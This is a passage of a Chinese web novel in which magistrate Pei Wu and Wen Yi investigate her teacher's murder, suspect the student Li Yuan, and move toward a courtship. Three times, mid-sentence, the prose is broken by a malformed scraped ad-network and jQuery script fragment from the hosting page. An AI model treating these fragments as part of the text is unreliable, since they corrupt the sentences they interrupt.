裴误坐在灯下,深眉冷目,薄唇微抿。轮廓分明还带着少年人的稚嫩,从发冠处逃离的发垂落在额前,却处处写着疲倦与孤绝。 “十一,我记得你说过你有个喜爱的姑娘。” 十一没想到他忽然提起这个,涨红了脸羞涩地答道: “是,那姑娘主子也认识。” 裴误关心的并非这个,得到了肯定的答案,他捏着笔杆在灯下踌躇一阵,还是问道: “那,她有没有抱过你?” “抱…抱过属下。”十一不知想起了什么,脸上红晕更是明显。语罢又匆忙解释道: “都是属下不知轻重,她是个极重礼的姑娘家。” “她抱你时,你是什么感觉?”裴误打断他的话。 “啊?” 十一惊诧地抬头,想从裴误的脸上找到一丝调笑的神色,寻摸遍了自家主子那张俊朗无双的脸,硬是只能从他的眸中找到十成的认真。 “就,”平日杀人也不瞥眼的十一竟也吞吞吐吐起来,利落的劲消失得一干二净,“就感觉心脏都停住了。” “好像全世界只有她温热的呼吸,只能闻到她身上的馨香,别的什么也感觉不到了。” 豁出去说了出来,十一就好像打开了话匣子。 平日跟裴误一般冰山脸的人,竟然说起肉麻的话脸不红心不跳地没个完。 “够了!” 十一的话没什么逻辑,裴误喊停的时候白皙的脸上却也泛着红晕。 温以身上的缱绻温软的香味格外清晰地留在了他脑中,十一每说一句话,便能让他放大了十倍感官般地回想起当时的场面。 察觉出不对劲,十一闭上嘴,难得好奇地打量裴误。 屋内安静下来,一阵脚步声由远及近,格外明显。 门内的二人同时正色,防备地看向门外的窈窕的身影。 “裴大人,你睡下了吗?” 两道敲门声后,门外传来女子轻灵温柔的声音。 12. 两声心跳 “噼里—啪啦——” 灶台上的火窜起两寸高的焰火,火光乍然照亮温以的脸。她如梦初醒般低头看去,锅中金黄的蛋液已经变得焦黑。 “呼——” 指尖后知后觉地传来灼热的抽痛,她将手指放到冰凉的井水中泡了片刻,手忙脚乱中,才终于吹着气熄灭了灶上的火。 好在一旁金黄的米饭还冒着热气,蛋花的香味伴着葱香丝丝缕缕缠绕在灶边。 虽然荷包蛋出了意外,这碗蛋炒饭还是顺顺利利地完成了。 温以解开裙角扎上的结,放下挽高的袖角,一双酒涡在灯下若隐若现。 夫子的案子虽然真凶已经伏案,可她总觉得其中疑点重重。最无法解释的,便是那抹信上的檀香。 那香味只是一瞬间的事,信件打开一刻钟之内,香味便无影无踪。可她自小看着夫子制香,绝不可能闻错。 裴误定然也在想这一点。 否则不会一回县衙便开始看卷宗,直到方才,书房的灯都还亮着。 “得快点了。” 泛红的指尖在粗布上蹭了蹭,左右没找到案碟,温以捧着炒饭朝书房方向去,远远便看见书房的灯果然还亮着。 两手捧着白瓷大碗,她艰难地空出手敲门,眼前却好像看见昏黄的烛火映照着两个人影。 “裴大人,你睡下了吗?” 门内只有清浅的风声,温以疑心自己花了眼,定神看去,又只看见桌案边唯有一个模糊的身影而已。 “裴大人?” 门内久久不应答,她担心贼人潜入县衙,又担心裴误累得伏在案上睡着了,便又加大声音询问。 正要再空出手敲门,门却吱呀一声从里推开了。 “温姑娘?” 裴误眉目间倦意难掩,细看之下郎君如玉的脸上还泛着薄红。 “夜深露重,温姑娘怎么来书房了?” 他的话刚落,便随着温以的视线看到了她手中那碗冒着热气的炒饭。 颗颗金黄的米饭参杂着绿意葱段,切成花瓣大小的红椒点缀在米饭中间,蛋花的香气不停地往鼻尖钻。 裴误伸手接过尚还有些烫的大碗,看着米饭中的红椒发愣。 他手侧的墨迹还未干,温以看他对着红椒发愣,想起他是从京城而来,还以为他不吃辣,指了指红椒解释道: “不会很辣的,这种红椒与南边的不同,只是调味增色而已。” “无事,我一向喜辣。” 裴误倒不是不吃辣,相反,在京城时那一圈子贵公子唯有他最能吃辣。 他母亲是蜀地人,幼时为了能和母亲同桌吃饭,他偷偷忍着菜里的辣味,忍久了,也就习惯了。 以至于后来不再愿意刻意讨好母亲的时候,喜辣的口味却成了难改的习惯。 夜风的确寒凉,他侧身让温以进屋。 也许是晚饭只匆匆塞了几口,此刻米饭的香味不断往鼻尖钻,裴误忽然感到腹中一阵饥饿。 进屋的时候,温以下意识朝门侧看了一眼。 门侧空荡荡的,原本摆在那里的画筒已经不见了。可那日在书房门口的记忆却涌入她脑中。 今夜也许应该放下炒饭就离开的。 “温姑娘?” 裴误站在桌侧,回头看她。 书房里没有别的桌案,炒饭被他安顿在公文笔墨之间,就连一旁的悬挂着的笔杆上都似乎沾上了烟火气。 他站在窗下笑了,脸上的薄红分不清是还未完全消散,还是暗黄的烛火至然。 “看来在温姑娘心中我的饭量还挺不错的。” “这些我一人也吃不完,不如去厨下再拿几个碗,一起吃吧。” 温以原本转向的脚尖又顿住,他脸上的薄红没由来地弄得她心中一阵烦躁。 她三两步走到窗前,推开了半掩的窗,直到回头看见他诧异的眼神,才解释道: “屋里有些闷。” 裴误轻咳一声,见她顿在窗前,才意识到屋内只有一把椅子。 “裴大人你快吃,我就不吃了。若是无事,我就先回房了。” 她从裴误身侧经过的时候,一阵熟悉的温软香味掠过,裴误回过神来的时候,动作已经先神思一步挽留了她。 温以低头,他握住她手腕的力气很轻,可却死死环住,无法挣脱。 “裴大人还有事?” 像是下定了某种决心,裴误抬头紧紧盯着她那双灵动的杏眸。 “你能不能再抱我一次?” 被他圈住的手腕忽然变得僵硬。温以没想到他会忽然冒出这样一句话,慌乱中对上他的眼,里面找不出丝毫玩笑的意味。 “不能吗?” 没得到回答,他竟学虎子歪头,语气中透出丝丝委屈。 “就像白日那般抱一下就好。” 温以彻底愣在了原地。桌边未曾得到回答的人却拽着她的手腕走近。 “那便当你还我白日那一抱吧。” 他伸手将她揽入怀中,温以的身量不高,额心贴在他的胸膛上,隔着衣衫听到他强劲的心跳一声声跳在耳边。 和白日在李家的那一抱不同,温以被他圈在怀中,他试探地将下颌靠在她发间,仿佛试验般默数着心跳声。 耳边的心跳声如雷,裴误轻轻松开了揽着她的手,她却还是僵直着不敢动。 终于恢复了身体的主动权,温以从裴误怀中退出的时候虽然心跳未平,心里却是羞愤多过于心动。 他凭什么说抱就抱? 明河镇女侠温以,还从来没有这么丢脸的时候。 她打定自己落了下风,也不管狼狈与否的事,扭头就要逃跑。衣角扇起一阵风,带落了桌案上几张薄纸。 模糊的字迹她只是轻轻一扫,未曾放在心上。接着裴误身影一闪,精准地堵住了她的去路。 “温姑娘,我心悦你。” 衣袖被他修长的指节拉住,挣脱的瞬间,她的指尖划过他手心。 下一瞬就被他捉住指尖,小心地握入掌心。 “我心悦你,想要娶你为妻。” —— 辰时,县衙门口便已是摩肩擦踵的盛况。 明河县虽不富裕,却民风淳朴。十几年来都未曾出过这般恶劣的案件,还未开审,县衙前便已经守满了等着看县太爷审问犯人的乡亲。 兴许是知道证据确凿,就连在李家一直哭喊撒泼的杨氏,今日都显得格外安静。李老二更不用说,几乎是问什么答什么。 不一会儿,那日的情形便被问了个清。 临近年关,李大娘身子愈发不好,杨氏便差人托消息给王夫子,嘱咐她定要回李家过年。 王夫子是个念 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旧情的人,便向张员外告了假,提前回了麦香村。 谁知道李大娘身子不好是真,杨氏想要借机从王夫子手中扣下钱来也是真。她一向心疼二儿子,这次要给二儿子订婚,更是铆足了劲要办的风光。 讽刺的是,一朝入狱,那在饭馆做学徒的二儿子,竟一次也未来过。 眼见年关要来,杨氏扣不到钱财,便越发着急。想着先朝各方亲戚处借些,平日常常不在家中。正因此,李老二也就恶从胆边生,趁着夜摸到了王夫子屋中。 “李老二,你说你从前便有这个心思,只是一直不敢行动。” “为何这时候便忽然有了胆子呢?” 堂中回响着惊堂木重重的响声,裴误一身官服,虽年纪不足,威压却丝毫不差那些年已半百的县官。 “我想着……大嫂若是,应该也会乖乖地给钱了。到时钱一到手,家里的婆娘也没什么好说的了。” 他的话瞬间惹起堂外的轩然大波。 有那与王夫子相熟的菜摊小贩拿了烂叶子来,隔着老远也忍不住朝里头丢。 “肃静!” 裴误蹙眉,堂外喧闹的声音反而让他的思绪渐渐清晰,可他的下一句话却是—— “此案案情已明,就此结案。” 他的目光扫过堂外前排的百姓,始终没有从人群中找到那抹鲜亮灵动的身影。 温以今日没来。 两侧衙役“威武——”的喊声中,裴误起身离开堂前。周肆一把抱起桌案上的卷宗,跟了上去。 “裴兄,裴兄你等等我!” 行至回廊转角处,周肆一个急刹,与裴误并肩笑着道: “我就知道裴兄出马,几个李老二也瞒不了你多久。” “的确瞒不了。” 裴误敛眸,鸦黑色的睫下情绪不明。 “不过,裴兄你昨日的态度,分明是对李元有怀疑,怎么今日结案的如此利落。” “不再查一查吗?” 周肆了解裴误,他对真相比任何人都要执着。 当年三公主弑夫的案子,大理寺所有人都要压下来,唯有还是一介默默小官的他,竟敢孤身跪在御书房门口恳求圣上彻查。 若不是他一次次积累着圣上的怒火,也不至于被贬的如此狠。 “不是不查,是不能在官府查。” “我不想让她卷进来,张员外的意思也是如此。” 裴误话里的她并未言明是谁,不过周肆岂有不懂的道理。 他眼珠子一飘,就贱兮兮地转了话题问道: “裴兄,我听十一说,你有了心悦的女子。” “我看你也到了该成婚的年纪了,既然有了心悦的女子,就该勇敢去追求人家呀!这般拖拖拉拉的我都瞧不起你,何况……” 周肆的语气忽然吞吞吐吐起来,顶着裴误冰棱般的目光,还是硬着头皮说了下去。 “何况你一日不成亲,苏姐姐就不会死心的。” “你怎知我没有表明心意?” “我昨夜便向她表白心意了,甚至允诺了婚约。” 裴误说着表白的话,脸色却更加难看。 “结果呢?她答应了吗?” 可怜周肆最大的毛病就是看不懂人颜色,此刻自然也是嘴快地问了下去。 “温姑娘她,该不会是拒绝了吧?” 13. 两心相许 再次站到李家门口的时候,温以说不出心中是什么感觉。 夫子出事前,她对这个地方的记忆只有热乎乎的油饼子、李大娘温和的笑脸、李元在院中细小的读书声。 今日站定在这块砖瓦上,指尖还没有触及那块陈旧的红福字,就已经感受到一股前所未有的陌生。 “温姐姐?” 她的手还悬在空中,门就吱呀一声打开。 李元手上还端着半块焦黑的饼子,诧异地愣在原地,眼眸深处闪过一丝隐秘的欢喜。 温以也没想到李元还留在家中,她的视线落在那半块焦黑的饼子上,李元忙推开门,羞窘道: “我厨艺不精,烤坏了一块,正要去扔了。” 他说的是扔,但那饼子分明被人咬了大半。 “大娘呢?你们午膳就吃这个?” 温以夺过他手中的半黑的饼子,丢给了门外小路上守着的野狗,拉着李元便进了灶房。 这两日的事情彻底让李大娘气的病倒了,此刻躺在病床上,一日中也没有多少清醒的时刻。 家中唯有李元一人能操持。 可他自小读书,杨氏哪会让他沾家务,灶房更是从不踏足。果然仅仅两三日功夫,灶房便是一片狼藉。 “我虽不善厨艺,但我总会学会的。” 李元看着满厨混乱的样子,慌乱地解释。 见温以不说话,他抿唇沉默了片刻,又低落道: “温姐姐你不必担心,我跟阿奶,都是不值得你担心之人。” 温以蹲下身子检查灶台下的柴火。 为了做个饼子,他将面粉与水弄得满桌都是,好在没有弄湿角落的干柴,总还能生火。 她低头在灶房各处整理了许久,视线寻摸久久。 目光划过柴堆边的窗框上一缕玄灰的丝料,有些一直梗在喉间石子般的东西,终于悄然碎裂。 那丝料,是李元学子服上的衣料。 那日拿到夫子的信时,杨氏去灶房拿零嘴,她跟到屋门,一眼便看见了那缕丝线。 “温姐姐,你别忙活了,你尽管吩咐,我都能学的。” 李元话说得诚恳,也伸手拦住温以忙的打转的身影。 “你学什么?” 有一瞬,温以想要抛却一切当面质问他。一个远在府学的人,为何衣料会钩在千里之外的案发地。 夫子为他开蒙,送他去府学,究竟又送他学了些什么? 可她还是忍住了。 “你的手是用来握笔的。” 李元还穿着那件学子服,他一向在府学中以节俭致学受到师长同窗的称赞。 当日他的学子服磨坏了肩膀处,怕杨氏知道会为他置办好衣料,他便央着夫子为他缝补衣裳。 “好伯母,你的绣艺最精湛,就算是赏侄儿一件针线活如何?” 他当初央求夫子的话,温以还记得。 李元记得与否她不知,可想必夫子定然没有想到,那件她笑着亲手缝补好的衣裳,最终还是被窗框勾坏了一角。 温以借着话靠近一步。 在李家门前拦住跪下的他时,那抹转瞬即逝的檀香味,今日已经消失得一干二净。 她伸出的手落在他肩头的补丁上,指尖拂过细密的针脚,心间一阵刺痛。 “夫子为你补这件衣衫,也不是为了让你穿着它在厨下忙活的。” “可你的手也是拿来握剑的!” 一只骨节分明的大手将温以的手从李元肩头捉下。 裴误握着她的手腕迈步,横在二人中间。 温以只觉得手腕仿佛有火焰灼烧,一把甩开了裴误的手。 “裴大人也来了,”李元收起失落的神色,唇角挤出笑朝温以道,“温姐姐,你就听裴大人的话,别收拾了。” “我不值当的。” 他话里洒脱,委屈的神色却演绎的淋漓尽致。 裴误冷笑一声,心中笑他戏子做派,伸手捉回温以躲开的手,毫不避讳地十指相扣。 “你的确不值当。” “血债如何能还得够呢?” 语罢,他并不理会李元的反应,拉着温以就要离开李家。 房中的李大娘听到外间的响动,拄着竹杖沿着墙角挪到了门口。正巧看见温以离开的一幕。 李元站在原处,面无情绪地静静立在原地。 李大娘的眼神触及孙子无悲无喜的神色,下意识瑟缩一瞬,沿着墙根开始往屋里挪动。 目送那抹窈窕的鹅黄色身影被拉着消失在门口。 李元抬手摸了摸她方才触碰过的针脚,无声地嗤笑。 —— “裴误你放开我!” 出了李家,裴误就自觉地松开十指相扣的手,改为环着她的手腕,却始终没有放手。 温以使上浑身力气拍着环在自己手腕上的大手,踉跄着跟着他的往前走。 踉跄了两步,走在跟前的少年才慢了脚步。 脚步分明缓了,她鼻尖酸意却瞬间爆发。方才忍住的愤怒、失望、悲伤,所有的情绪都没出息地化作泪水从颊侧滴落。 “我让你放开。” 使了狠劲拍打,骤然停下来,她手心一片通红,火辣辣地疼。 通红的手背上落下一滴凉意。他忽然停下脚步。 裴误以为自己的心早就如同砖石,转头看到她满脸泪痕的样子,心中某个角落还是被那滴泪滴得刺痛了一瞬。 他不知所措的松开环住她的手。 温以气恼他不问是非地将她拽出来,更气恼自己在他面前总是哭出来。 这几日流的泪,几乎比她前十七年习武流的泪还要多。 “对不住,”他垂在身侧的手紧紧握成拳,浅青的筋脉昭示着他并不平静的内心。“我只是不想你为不值当的人付出。” “值不值当是我说了算。” 温以心中一片悲凉,夫子所爱所信了半辈子的家人,最后却是共谋她姓名的豺狼。 现在有两匹豺狼要独自顶下罪行,却所有人都在帮衬他们。 他是,阿爹是,众人亦是。 “你早就看出来了,从李元出现在李家门口的那一刻,你就有所怀疑。” “你不肯查,我便自己来。” 可你明明说过会帮我。 温以侧头克制盈眶的眼泪,却发现他将她领来了那棵槐树下。 当初她坐在这里哭到日暮,才听见他寻她的喊声,踏着黄昏而来。 “不是不肯查,只是不愿你来查。” 裴误生平头一次感到恍然的悔意,挫败地低下视线。 他的确瞒了她。李 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 元脚下泥土的颜色,分明杂着李家附近的黄泥。 “张员外也是担心你查到,才拦着你跟我去府衙。” “我有负他所托,也有负你。” 诸多的顾虑,他最终还是没有开口为自己分辩。王夫子的案子牵扯的远不止眼前,虽然都仅是猜测,他却不得不为她担心。 唯有就这么结束,她才能从其中脱身。 他带着歉意的一句“负你”,如同一瓢井水浇在温以的怒火旁。 “你负谁了? 她忽然娇蛮地扑进裴误怀中,心中溢满酸涩,为他。 周肆漏勺一般地被她套出许多关于他的旧事,其中便包括那位苏姑娘在皇宴上为难他为自己作画的事。 最后事情以他作了半幅画,又在殿外跪了好几个时辰收场。 后来他为了一桩悬案,据理力争,得罪了圣上,又被外放到此地做一个小小县令,还被家人责难不知变通。 母亲不疼、父亲冷漠。 他一介寒门靠着十年苦读上了金殿,在皇宫外跪着的时候,心中该是什么感觉。 也觉得是自己负了旁人吗? “你谁都不负!知晓了吗?” 裴误接住怀中少女温软的腰肢,她的泪蹭在他月白的衣襟上,明明哭的那么凶,话却那般强横。 心中刺痛的地方像是苗芽得了露水。 听着怀中人偶尔孩子般地哭嗝,他方才沉重的心情一瞬放晴,无奈地弯唇。 裴误摊开带着指痕的手心,学着家中嬷嬷安慰幼妹样子,轻轻地拍着她单薄的背。 背上有一下没一下的安慰让温以渐渐平静下心绪,她骤然从他怀中抬头道: “你不负我,却得守信。” “堂堂七尺大丈夫,承诺人的事情就得做到。周肆说你是状元,孔夫子的话总得听的吧?” 她窝在裴误怀中,一抬头,二人便靠的更近。她那如樱瓣嫣红丰润的唇随着滔滔不绝的话张张合合,如同主人的气势般嚣张。 裴误目光灼灼地看着怀中少女亮晶晶的眼眸。 “以以,你知道我为何带你到这棵槐树下吗?” 他的视线太过炽热,温以莫名生了退意,偏开头嘴硬道: “我不知。” “是因为我后悔。” 温以奇怪,想要退开半步,转回视线看他。 “后悔什么?” 他防备似地揽紧了她的细腰,视线如同对待珍宝般描摹她的眉眼,尔后抚着她的墨发将人按入怀中。 “我后悔上次没有抱抱你。” “后悔上次看到这个躲在槐树下的女孩,没有上前抱一抱她,早一点向她承诺,无论如何我都会帮她。” 温以能感觉到他低头将脑袋埋入她颈间,气息不掺情.欲的味道,反倒低落而克制,像是一只淋了雨的大犬。 没等她想好如何回答,他闷闷的声音从耳侧传来。 “这个后悔眼下解了,可是怎么办以以。” “我好像又要有新的后悔了。” 温以头一次看见他这般别扭的声音,委屈、却又不自然极了。 他抬起埋在她颈间的脑袋,看向她愣住的眼眸。目光在她那张灿若芙蓉的脸庞上流连,最后落在她嫣红小巧的唇上。 “以以,我可以不后悔吗?” 14. 两只通红的耳尖 “你问我做什么?” 温以忽闪着眼神偏开头,像是被他的目光灼烫到一般,心绪杂乱地数着槐树下盘根错节的杂草。 她漆黑纤长的睫扑闪扑闪地扫在裴误心上,如同羽扇轻挠。 他的胸腔处传来闷闷的笑意。 “我便当以以这是应允了吧。” 灼热的气息一点点靠近,耳根处扫过他温热的鼻息,少年意气的笑容晃了她的眼。他的薄唇渐渐放大在眼前,似有若无的笔墨香包裹着她。 温以红着耳根闭上眼。 “小姐?” 青虹弯下身喊她。 温以原本趴在桌案上,呼吸清浅,青虹试探地出声,不防她忽然睁开双眼,被哑声吓了一跳。 “青虹?你怎么来书房了?” 被青虹一声唤醒,温以抬头,下意识瞟了一眼那叠被她枕在臂下的白宣。 纸上干干净净,她心虚地抿了抿唇,怕被青虹看见,又立马松开了已被自己抿得嫣红的唇瓣。 “裴大人找小姐,眼下正在前堂等着。” 猛然听到方才梦中人的名字,想到昨日窘况,她脸色一红,撑在脸侧的手随着侧首的动作,偷偷碰了碰眼睫。 眼睫处还似乎还残留着他唇上的温度。 都怪他昨日说得不清不楚,气氛如此,害得她不自觉想起画本子里许多令人脸红心跳的部分,会错了意。 “小姐您今日怎么想起来书房了?属下找不见您,裴大人已在前堂等了许久了。” 青虹一贯不将喜怒摆在脸上,方才被温以吓了一跳,不过一两句话的功夫,神色已经恢复往日的样子。 “我这不是为了查案子嘛。” “对了,爹爹回来了吗?” 张员外一早便去了临镇谈生意,路途不远,温以怕他撞破自己追查案子,故而有此一问。 “老爷还没回来。”青虹如实道。 “那便好!” 青虹话音落,温以便欢喜地一拍桌,起身出了房门。 今日裴误来定然是有事,他昨日说要去调本县来往路引的账册,虽不知他用了什么法子,却说一两日便能弄到。 说不准今日便已经弄到手了。 她一路跑院廊的转角处,才顿住脚步,忽然转头,抬手指着脸侧问道。 “青虹,我脸上可有印子。” 青虹顺着她指尖看去,温以白皙的脸庞因着刚睡醒,被压出了薄红,杏眸中的水光还未褪尽,眉眼间带娇憨的媚色。 “回小姐,今日美得很。” 青虹一向是个严肃的性子,难得调笑,温以的耳尖瞬间通红。 “那便好。” 能言善道的小姐今日也被堵得红了脸,转过身去盯着脚尖往前堂去,像只垂着耳朵的雪兔,裙侧的毛球一晃一晃地打着圈。 青虹看着她进了前堂,正要跟着迈步进去,一只胳膊忽然出现在面前。 她利落地抓住那人的手腕反手扭住他的胳膊,定睛一看,才发现是周肆。 “哎哎哎这位妹妹,我此拦你绝无半点恶意啊!” “呲——”他脸上痛意不像作假。 “我比你大。” 青虹冷着脸甩开他的胳膊,还没等迈出脚,他又伸着胳膊拦住了去路。 下意识要再次扭开他的胳膊,视线掠过他通红的手腕,青虹顿了顿脚步,不耐地皱眉。 “让开。” 她危险的目光刺得周肆一激灵,他犹豫了一秒,还是硬着头皮道: “这位姐姐,我觉着你还是别进去的好。” “你也知道你家小姐跟我裴兄那是心意相投,裴兄岂有害她的道理。再者裴兄今日带来的证据牵扯甚广,不便给你看见。” 周肆怕青虹耗尽了耐心,嘴皮子利索地劝说一通,拍着胸膛道: “你看我,我跟裴兄什么关系,那不也是被赶出来了吗?” 青虹听温以说过他二人是表兄弟关系,眼神狐疑地打量两秒,点头算是认可了他的说法。 担忧地往堂内的方向探了一眼,冷着脸站到了左侧。 堂内—— 裴误自见到李元的那日便发现了蹊跷处,在大理寺的几年里,他手下的暗卫对查探账册之类的任务已是熟悉得很。 不过两日功夫,来往府城与明河县之间的路引往来账册就已经送到了他的桌案上。 账册是他手下之人拿赝品偷换来的,省了借调的诸多程序,却须得早些换回去。 否则也是一桩麻烦。 他随手翻着账册,隐约听见门外女子的交谈声。 裴误虽听不清说了什么,却能认出温以的声音,眉眼瞬间柔和下来。 “裴大人!” “怎么样,是不是账册弄到了?” 温以提着裙角从堂外进来,视线定在他手中的账册上,忍不住弯了眉眼,露出喜色来。 裴误随着她的声音看向她,装作才发现她来了的模样,笑着颔首。 他合上手中账册举到脸侧,等着她在身侧坐下。 “咱们快些找找有没有李元的出入的记录吧。” 温以的视线跟随账册转到他脸上,有些躲闪地对上他深邃的眸。 “裴大人,你快将账册放下来。” 她催促着,裴误瞥见她脸侧的红晕,猜到她这是从被青虹从梦中拽醒,顺着她将帐册放下来,叹息道: “以以一进门,眼神便黏在账册上了。我若是不如此,哪能分的你一丝目光。” “裴大人!”她嗔道。 没想到裴误那般正经的人会语气揶揄地这般说话。温以耳尖通红,心间的蜜罐子盖的不严实,丝丝缕缕地溢出蜜来。 心间羞涩甜蜜,不过她还没忘了正事,接过账册细细查找起来。 裴误见她神色期待,心绪也低落下来。 “以以,这本账册昨夜送到时我已经查过了,并没有李元的痕迹。” “不过你对他更为熟悉,兴许他用了假名字,我想也该拿来给你看过再行处理。” 温以捏着账薄纸页的手一顿,又细细查探了几页,抬眸道: “没事。你不是说此事牵扯比我想象中更广吗?” “难查些也属正常。” 她语气带着安慰的意思,裴误听罢垂眸看着她翻页的指尖,忍不住弯唇。 她倒是安慰起他来。 “以以,前几日在县衙书房,我的话皆出自真心。” “你若是应我……” 裴误的话还未说完,温以便俯身捂住了他的嘴。 少女指尖带着书册陈腐的气息,几息之间,书墨味散去,鼻尖便只剩下清甜的馨香。 他的话题转的太快,温以一时之间没反应过来他话里的意思。好在,赶在他说出更惊世骇俗的话之前,她还是成功捂住了他的嘴。 “打住!” “你若是真心的,接下来的话该跟我爹说才是。” 他似要辩解,才张唇,唇瓣触碰到她柔软的手心,温以便瞬间收回了手,气恼地瞪了他一眼。 裴误见她眼底并无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 真正的怒意,才松了口气道: “我方才便是想说,若你应允,我明日便置办礼物登门拜访。” 京城风华无双的成国公世子,堂堂连中三元的状元郎,此刻心中竟然也难免俗地泛起丝丝忐忑。 反思了几遍他与张员外几次见面的情形,裴误不由地又想起周肆那家伙干的好事。 他眼底忐忑,温以终觉占了上风,幸灾乐祸地假意安慰道: “裴大人你别担心,我爹他人很好说话的。” “不然上回咱们出府被抓了回来,也不至于你随便一谈,他便放我走了不是?” 这姑娘倒还挺记仇,说到此处,还不忘刺他一句。 “以以不必担心,裴某必当全力以赴。” 温以坐下身继续翻阅账薄,故作不在意地反驳他。 “谁担心了?” 停顿片刻,她又扭捏着挑剔道。 “明日我爹可没空,裴大人要来,便等五日后再说吧。” 窗畔的鹂鸟似乎也想插嘴,叽唧喳喳地在窗棂上吵闹起来。不等他们的视线转向窗台,便飞散在院中。 —— 府衙。 裴误迎着月色推开寝屋的门,桌上的茶水尚温,他抬手翻开扣在桌上的两个茶盏,斟了两杯茶水。 十一不知从何处翻身现出身影,恭敬地递上一封信件: “主子,国公府回信了。” 裴误接过信件,示意他将茶水拿去喝,撕开那封没有名姓的信件看了起来。 信纸上不过短短几行字,裴误却看了许久。 十一担忧地看去。裴误坐在桌前,屋里没有点灯,月光透过窗格落在桌边,柔和地照亮一侧他昏暗的神色。 他冷笑着折回信件,叹道: “知我者,莫若父亲母亲。” “终究还是他们的话方能伤我。” “十一,你说这么多年了,我为何还会忍不住对他们抱有一丝期望呢?” 十一垂眸不言,心中却明白主子这些年的不易。 即便如此不易,主子这次去信禀明国公爷他与温姑娘的情意,也还是期待着来自爹娘的祝福的吧? “主子……” 裴误会抬手止住他的话,眉目中的失落不过一瞬而逝。 “十一,他们在宫墙府院中呆久了,便以为谁都与他们一样。” “父亲还断言,以以定是谋我成国公府世子的钱权。” 话里满是戏谑,提到温以的时候,他的神色还是柔和了下来。 ——“若你与她谈到婚聘之事还未亮出身份,你且看她还会否与你成婚。” 他几乎能想象到父亲平静地说出此话的样子,像是看蝼蚁翻腾挣扎的那种眼神,参杂着可笑与叹息。裴误简直对这种神色太过熟悉。 十一没想到国公爷与夫人会这般伤主子的心,抬头时,却看见主子脸上柔和下来的五官处处写着自信。 裴误想起温以起身捂住他唇那焦急的样子,脑中忽然浮现第一次见她时的样子。 少女一身崭新襦裙,鹅黄色的褙子被她爱惜地抚了又抚衣角。她那般抱着一叠大小衣料穿行在人流间,唇边浅浅的酒涡像是她发簪上那蜂蝶藏蜜的秘密之处。 阳光带着暖意照在她身上,让他都愣怔了一瞬。没能分清那究竟是阳光,还是她本身便如一盏烛灯般散发的暖意。 “他们看错了。” 裴误眼中满是自信,字字掷地有声。 “她这般好的女子,怎是权力场中打转的人能看准的。” 15. 两滴泪 “葫芦喽,糖葫芦喽。酸酸甜甜的糖葫芦嘞!” 扛着糖葫芦把子走街串巷的小贩卖力地喊着。转头间忽然瞧见石狮后头有个姑娘正探头探脑地,像是在看着他肩上的糖葫芦。 小贩当即招呼道: “姑娘,糖葫芦要不要来一串?” 温以藏在员外府外的石狮子后,发觉小贩正朝她走过来,立即探出头猛地摆手。 “不用啦。” 她压低声音偷偷摆手,看小贩身后的少年闻声转头,又立马藏回石狮后。 小贩不明所以,摇着头离开。 他身后的少年垂眸看了看手中提着的油纸包,薄唇牵起浅浅的弧度,抬步上了石阶,走到员外府门前。 “大人放心,我定会亲手将东西交到青虹姑娘手中的。” 裴误这几日每日点卯似地准时上门,门童早对他十分脸熟。 一见他踏着日暮前来,便熟练地接过他手中的油纸包。 “小姐被老爷禁足在院子里,您其实不必日日亲自前来的。” 裴误这几日都在外头查案,不只是为了王夫子案背后牵扯的势力所周旋,还有洪灾等等大小事务需要他处理。 有一日处理完了杂务,回府衙的路上正巧路过城南的一家点心铺子。 周肆在耳嚷嚷着要买点心。正巧有二三年轻夫人提着点心从铺子里出来。裴误的目光略过她们手中的油纸包,停留在那熟悉的图案上。 他第一次见到温以时,她手中大包小包的衣料中似乎就挂着两包同样的点心。 “买吧。” 他抬步进了铺子。 “裴兄,你在这等我就成的。” 周肆一脸的受宠若惊,直到结账时才发现裴误手中也提着一包荷花酥。登时换了一副见了鬼的神色问道: “裴兄,你不是说荷花酥这东西甜的发腻吗?” 裴误点头道:“并非买给我的。” 周肆满脸感动,正要伸手接过,却被裴误皱着眉抬高了手避开。 “你做什么?” “这是买给温姑娘的?”周肆脑子终于转过了弯。 裴误颔首付账,一脸寻常。 “那你买错了,温姑娘爱吃桃花酥。” 顶着裴误一脸“你怎会知道”的质问,周肆又撇嘴补充道:“是青虹姑娘说的,我可都是为了裴兄你问的。” 裴误煞有介事地点了点头,想起那日她夹在衣料中的荷花酥,转身又去拿了一包桃花酥。 出铺子门时,他忽然停住脚步转头朝周肆道: “她也爱吃荷花酥。” 话里两分炫耀听得周肆直愣神。 得了温以一句谢。此后尽管忙碌,每日下衙时他都会去城南那家铺子给温以带一包点心。 有时是桃花酥、有时也换些新花样。尽管见不到人,他却甘之如饴。 不过今日来时,竟从石狮后看到一抹熟悉的裙角。 门童不自然的道: “大人,小姐这几日被困在院中,您要送点心,大可以派人送来便可。” 裴误从怀中掏出一串檀木佛珠递给门童,嘱咐他将这一块转交,闻言笑道: “她出不了府门,我更需亲自给她带些点心来。” “我若是连这点也做不到,以以她指不定借机躲在府中多久不见我。” 石狮背后悄悄伸出一只白皙的手,将落在外头的一角红色裙边捡了回来。 “旁人不知她的口味。” 他话里隐秘地自豪让温以顿了手,憋着唇角的弧度暗道: ——这才几日,他就敢说知晓她的口味。 乌黑的发顶从石狮脚边探出,温以探出脑袋朝门童点了点头。 门童得了自家小姐的指示,从怀中掏出一封薄信交给裴误。 “让你们家小姐辨一辨,这香味是不是她当日闻到的。” 裴误一眼认出温以的字迹,留下一句嘱咐,便颔首转身离开。 站在街口等他的周肆好容易等到了人,差点没能追上裴误的步子。 “裴兄,这信里写了什么?为何忽然这么着急回府衙?” 周肆好奇地瞟了一眼他藏着信封的心口,忍不住问。 裴误的脚步慢下片刻,开口却并非回答他的问题。 “阿肆。” “你说我昨日那身月白色的衣衫与前日那件玄黑的比怎样?” 周肆不知他为何忽然问起衣装,却还是仔细瞧了瞧,诚恳道: “我觉得还是那件白色澜衫好。” 不知是其中哪个字触动了他的神经,裴误忽然想起温以窗边桌上的话本。粗略看去,像是女侠与书生的故事。 他深以为然地点了点头。 得到回答,裴误抚了抚袖角的折痕,转身道: “明日辰时你先去府衙,我午后便来。” —— “明日辰时城中石桥见。” 